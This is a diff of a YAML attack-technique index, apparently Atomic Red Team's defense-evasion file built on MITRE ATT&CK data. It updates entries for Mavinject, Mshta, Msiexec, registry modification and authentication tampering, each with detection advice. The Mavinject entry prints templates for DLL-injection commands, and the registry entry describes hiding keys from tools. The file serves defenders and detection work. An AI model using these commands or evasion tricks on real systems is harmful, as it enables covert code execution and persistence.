-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Modify Authentication Process
-      description: |-
-        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
-
-        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
-      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
       type: attack-pattern
+      name: Mavinject
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-14T22:11:03.446Z'
+      created: '2021-09-22T17:45:10.241Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9
+      description: "Adversaries may abuse mavinject.exe to proxy execution of malicious
+        code. Mavinject.exe is the Microsoft Application Virtualization Injector,
+        a Windows utility that can inject code into external processes as part of
+        Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries
+        may abuse mavinject.exe to inject malicious DLLs into running processes (i.e.
+        [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)),
+        allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe
+        PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation:
+        Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying
+        execution via this method may evade detection by security products because
+        the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link
+        Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe
+        can also be abused to perform import descriptor injection via its  <code>/HMODULE</code>
+        command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS
+        PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table
+        entry consisting of the specified DLL into the module at the given base address.(Citation:
+        Mavinject Functionality Deconstructed)"
       kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-26T20:08:31.712Z'
-      created: '2020-02-11T19:01:56.887Z'
-      x_mitre_contributors:
-      - Chris Ross @xorrior
+      x_mitre_detection: |-
+        Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.
+
+        Adversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/013
+        external_id: T1218.013
+        source_name: mitre-attack
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Mavinject/
+        description: LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.
+        source_name: LOLBAS Mavinject
+      - url: https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution
+        description: Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and
+          evolution. Retrieved September 22, 2021.
+        source_name: ATT Lazarus TTP Evolution
+      - url: https://reaqta.com/2017/12/mavinject-microsoft-injector/
+        description: 'Reaqta. (2017, December 16). From False Positive to True Positive:
+          the story of Mavinject.exe, the Microsoft Injector. Retrieved September
+          22, 2021.'
+        source_name: Reaqta Mavinject
+      - url: https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
+        description: Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed.
+          Retrieved September 22, 2021.
+        source_name: Mavinject Functionality Deconstructed
+    atomic_tests: []
+  T1556:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Modify Authentication Process
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Process: OS API Execution'
@@ -31530,6 +32416,29 @@ defense-evasion:
       - 'File: File Creation'
       - 'Module: Module Load'
       - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.990Z'
+      created: '2020-02-11T19:01:56.887Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
+      description: |-
+        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
+
+        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
+      x_mitre_contributors:
+      - Chris Ross @xorrior
       x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
         controller and/or local computer. Monitor for changes to Registry entries
         for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
@@ -31554,47 +32463,34 @@ defense-evasion:
         system as a particular account. Correlate other security systems with login
         information (e.g., a user has an active login session but has not entered
         the building or does not have VPN access)."
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556
+        external_id: T1556
+        source_name: mitre-attack
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - url: https://xorrior.com/persistent-credential-theft/
+        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
+          Authorization Plugins. Retrieved April 22, 2021.
+        source_name: Xorrior Authorization Plugins
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1578:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1578
-        url: https://attack.mitre.org/techniques/T1578
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Modify Cloud Compute Infrastructure
-      description: |-
-        An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.
-
-        Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
-      id: attack-pattern--144e007b-e638-431d-a894-45d90c54ab90
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-20T14:51:01.759Z'
-      created: '2019-08-30T18:03:05.864Z'
-      x_mitre_detection: Establish centralized logging for the activity of cloud compute
-        infrastructure components. Monitor for suspicious sequences of events, such
-        as the creation of multiple snapshots within a short period of time or the
-        mount of a snapshot to a new instance by a new or unexpected user. To reduce
-        false positives, valid change management procedures could introduce a known
-        identifier that is logged with the change (e.g., tag or header) if supported
-        by the cloud provider, to help distinguish valid, expected actions from malicious
-        ones.
+      name: Modify Cloud Compute Infrastructure
       x_mitre_data_sources:
       - 'Instance: Instance Stop'
       - 'Instance: Instance Start'
@@ -31607,18 +32503,69 @@ defense-evasion:
       - 'Volume: Volume Creation'
       - 'Volume: Volume Modification'
       - 'Volume: Volume Deletion'
-      x_mitre_is_subtechnique: false
       x_mitre_version: '1.1'
+      modified: '2021-04-20T14:51:01.759Z'
+      created: '2019-08-30T18:03:05.864Z'
       x_mitre_permissions_required:
       - User
       x_mitre_platforms:
       - IaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--144e007b-e638-431d-a894-45d90c54ab90
+      description: |-
+        An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.
+
+        Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: Establish centralized logging for the activity of cloud compute
+        infrastructure components. Monitor for suspicious sequences of events, such
+        as the creation of multiple snapshots within a short period of time or the
+        mount of a snapshot to a new instance by a new or unexpected user. To reduce
+        false positives, valid change management procedures could introduce a known
+        identifier that is logged with the change (e.g., tag or header) if supported
+        by the cloud provider, to help distinguish valid, expected actions from malicious
+        ones.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1578
+        external_id: T1578
+        source_name: mitre-attack
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
     atomic_tests: []
   T1112:
     technique:
-      id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Modify Registry
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Windows Registry: Windows Registry Key Deletion'
+      x_mitre_version: '1.2'
+      modified: '2020-08-13T20:02:49.641Z'
+      created: '2017-05-31T21:31:23.587Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
 
@@ -31627,75 +32574,51 @@ defense-evasion:
         Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)
 
         The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1112
-        url: https://attack.mitre.org/techniques/T1112
-      - external_id: CAPEC-203
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/203.html
-      - url: https://technet.microsoft.com/en-us/library/cc732643.aspx
-        description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
-        source_name: Microsoft Reg
-      - url: https://docs.microsoft.com/sysinternals/downloads/reghide
-        description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved
-          August 9, 2018.
-        source_name: Microsoft Reghide NOV 2006
-      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
-        description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows
-          Registry. Retrieved August 9, 2018.'
-        source_name: TrendMicro POWELIKS AUG 2014
-      - url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
-        description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect.
-          Retrieved August 9, 2018.
-        source_name: SpectorOps Hiding Reg Jul 2017
-      - url: https://technet.microsoft.com/en-us/library/cc754820.aspx
-        description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved
-          May 1, 2015.
-        source_name: Microsoft Remote
-      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
-        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry
-          value was modified. Retrieved August 9, 2018.'
-        source_name: Microsoft 4657 APR 2017
-      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
-        description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11.
-          Retrieved August 10, 2018.
-        source_name: Microsoft RegDelNull July 2016
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-08-13T20:02:49.641Z'
-      created: '2017-05-31T21:31:23.587Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      x_mitre_contributors:
+      - Bartosz Jerzman
+      - Travis Smith, Tripwire
+      - David Lu, Tripwire
       x_mitre_detection: |-
         Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
 
         Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
 
         Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Windows Registry: Windows Registry Key Deletion'
-      x_mitre_contributors:
-      - Bartosz Jerzman
-      - Travis Smith, Tripwire
-      - David Lu, Tripwire
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1112
+        external_id: T1112
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/203.html
+        external_id: CAPEC-203
+        source_name: capec
+      - source_name: Microsoft Reg
+        description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
+        url: https://technet.microsoft.com/en-us/library/cc732643.aspx
+      - source_name: Microsoft Reghide NOV 2006
+        description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved
+          August 9, 2018.
+        url: https://docs.microsoft.com/sysinternals/downloads/reghide
+      - source_name: TrendMicro POWELIKS AUG 2014
+        description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows
+          Registry. Retrieved August 9, 2018.'
+        url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
+      - source_name: SpectorOps Hiding Reg Jul 2017
+        description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect.
+          Retrieved August 9, 2018.
+        url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
+      - source_name: Microsoft Remote
+        description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved
+          May 1, 2015.
+        url: https://technet.microsoft.com/en-us/library/cc754820.aspx
+      - source_name: Microsoft 4657 APR 2017
+        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry
+          value was modified. Retrieved August 9, 2018.'
+        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
+      - source_name: Microsoft RegDelNull July 2016
+        description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11.
+          Retrieved August 10, 2018.
+        url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
       identifier: T1112
     atomic_tests:
     - name: Modify Registry of Current User Profile - cmd
@@ -32352,37 +33275,28 @@ defense-evasion:
         elevation_required: true
   T1601:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1601
-        url: https://attack.mitre.org/techniques/T1601
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Modify System Image
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T17:50:47.635Z'
+      created: '2020-10-19T19:42:19.740Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754
       description: |-
         Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.
 
         To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
-      id: attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-22T17:50:47.635Z'
-      created: '2020-10-19T19:42:19.740Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Most embedded network devices provide a command to print
         the version of the currently running operating system.  Use this command to
         query the operating system for its version number and compare it to what is
@@ -32402,58 +33316,46 @@ defense-evasion:
         system is suspected, contact the vendor technical support and seek such services
         for a more thorough inspection of the current running system.  (Citation:
         Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)"
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1601
+        external_id: T1601
+        source_name: mitre-attack
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
     atomic_tests: []
   T1218.005:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Mshta
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T23:59:00.395Z'
       created: '2020-01-23T19:32:49.557Z'
-      modified: '2020-12-30T14:29:06.462Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.005
-        url: https://attack.mitre.org/techniques/T1218/005
-      - source_name: Cylance Dust Storm
-        description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
-          September 19, 2017.
-        url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
-      - source_name: Red Canary HTA Abuse Part Deux
-        description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
-          Abuse, Part Deux. Retrieved October 27, 2017.
-        url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
-      - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
-        description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
-          (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
-          Retrieved October 27, 2017.'
-        source_name: FireEye Attacks Leveraging HTA
-      - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
-          Of Kovter Persistence. Retrieved December 5, 2017.
-        source_name: Airbus Security Kovter Analysis
-        url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
-      - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
-        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
-          LNK. Retrieved April 24, 2017.
-        source_name: FireEye FIN7 April 2017
-      - source_name: Wikipedia HTML Application
-        description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
-          27, 2017.
-        url: https://en.wikipedia.org/wiki/HTML_Application
-      - source_name: MSDN HTML Applications
-        description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
-        url: https://msdn.microsoft.com/library/ms536471.aspx
-      - source_name: LOLBAS Mshta
-        url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
-        description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Mshta
+      id: attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade
+      x_mitre_defense_bypassed:
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may abuse mshta.exe to proxy execution of malicious
         .hta files and Javascript or VBScript through a trusted Windows utility. There
         are several examples of different types of threats leveraging mshta.exe during
@@ -32470,28 +33372,50 @@ defense-evasion:
         its potential use. Since mshta.exe executes outside of the Internet Explorer's
         security context, it also bypasses browser security settings. (Citation: LOLBAS
         Mshta)"
-      id: attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_defense_bypassed:
-      - Application control
-      - Digital Certificate Validation
+      x_mitre_contributors:
+      - "@ionstorm"
+      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
+      - Ricardo Dias
       x_mitre_detection: |-
         Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.
 
         Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Creation'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      x_mitre_contributors:
-      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
-      - Ricardo Dias
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/005
+        external_id: T1218.005
+        source_name: mitre-attack
+      - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
+        description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
+          September 19, 2017.
+        source_name: Cylance Dust Storm
+      - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
+        description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
+          Abuse, Part Deux. Retrieved October 27, 2017.
+        source_name: Red Canary HTA Abuse Part Deux
+      - source_name: FireEye Attacks Leveraging HTA
+        description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
+          (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
+          Retrieved October 27, 2017.'
+        url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
+      - url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
+        description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
+          Of Kovter Persistence. Retrieved December 5, 2017.
+        source_name: Airbus Security Kovter Analysis
+      - source_name: FireEye FIN7 April 2017
+        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
+          LNK. Retrieved April 24, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
+      - url: https://en.wikipedia.org/wiki/HTML_Application
+        description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
+          27, 2017.
+        source_name: Wikipedia HTML Application
+      - url: https://msdn.microsoft.com/library/ms536471.aspx
+        description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
+        source_name: MSDN HTML Applications
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
+        description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Mshta
       identifier: T1218.005
     atomic_tests:
     - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
@@ -32766,62 +33690,63 @@ defense-evasion:
         name: command_prompt
   T1218.007:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Msiexec
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-06-07T19:57:26.824Z'
+      created: '2020-01-24T14:38:49.266Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.
 
